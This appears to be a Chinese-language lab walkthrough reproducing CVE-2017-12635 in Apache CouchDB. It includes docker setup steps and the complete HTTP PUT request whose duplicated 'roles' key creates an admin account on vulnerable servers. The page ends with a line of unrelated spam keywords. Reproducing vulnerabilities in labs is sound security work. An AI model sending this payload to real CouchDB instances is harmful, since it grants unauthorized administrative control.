<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Couchdb 垂直權限繞過漏洞(CVE-2017-12635)

    Path couchdb/CVE-2017-12635
    Apache CouchDB是一個開源數據庫,專注于易用性和成為”完全擁抱web的數據庫”。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。

    在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript對JSON解析方式的不同,導致語句執行產生差異性導致的。這個漏洞可以讓任意用戶創建管理員,屬于垂直權限繞過漏洞。

    影響版本:小于 1.7.0 以及 小于 2.1.1

    參考鏈接:

    測試環境

    編譯及啟動環境:

    docker-compose build
    docker-compose up -d

    環境啟動后,訪問http://your-ip:5984/_utils/即可看到一個web頁面,說明Couchdb已成功啟動。但我們不知道密碼,無法登陸。

    漏洞復現

    首先,發送如下數據包:

    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 90
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "password": "vulhub"
    }

    可見,返回403錯誤:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理員才能設置Role角色:

    發送包含兩個roles的數據包,即可繞過限制:

    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 108
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "roles": [],
      "password": "vulhub"
    }

    成功創建管理員,賬戶密碼均為vulhub

    再次訪問http://your-ip:5984/_utils/,輸入賬戶密碼vulhub,可以成功登錄:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类